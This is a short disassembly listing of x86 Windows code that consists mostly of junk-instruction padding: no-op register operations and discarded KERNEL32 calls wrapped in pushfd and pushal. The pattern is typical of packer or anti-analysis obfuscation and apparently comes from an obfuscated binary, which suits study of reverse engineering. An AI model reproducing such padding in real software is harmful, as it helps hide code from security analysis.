call sub.KERNEL32.DLL_GetLastError
popfd
popal
je 0x4030ea
push 2
pushfd
push ebx
shl ebx, 0x14
pop ebx
pushal
call sub.KERNEL32.DLL_GetCurrentThread
popal
popfd
pushfd
push eax
setle al
pop eax
pushal
call sub.KERNEL32.DLL_GetCurrentProcessId
popal
popfd
push 0
pushfd
push ecx
btr ecx, 0x13
pop ecx
pushal
call sub.KERNEL32.DLL_GetCurrentThreadId
popal
popfd
push ebx
push ecx
pushfd
test ecx, ebx
popfd
pop ecx
pop ebx
pushal
pushfd
call sub.KERNEL32.DLL_GetCurrentThread
popfd
popal
push 0
pushfd
push ebx
ror ebx, 0x1c
pop ebx
pushal
call sub.KERNEL32.DLL_GetCommandLineA
popal
popfd
pcmpgtb mm0, mm1
pushal
pushfd
call sub.KERNEL32.DLL_GetCurrentThread
popfd
popal
call dword [0x4217af]
mov dword [0x4219cb], eax
cmp dword [0x4219cb], 0
je 0x4030c5
mov eax, 1
jmp 0x4030c7
xor eax, eax
pushfd
push eax
bt eax, 0xf
pop eax
pushal
call sub.KERNEL32.DLL_GetTickCount
popal
popfd
push eax
push esi
pushfd
cmove eax, esi
popfd
pop esi
pop eax
pushal
pushfd
call sub.KERNEL32.DLL_GetLastError
popfd
popal
jmp 0x4030ef
mov eax, 1
ret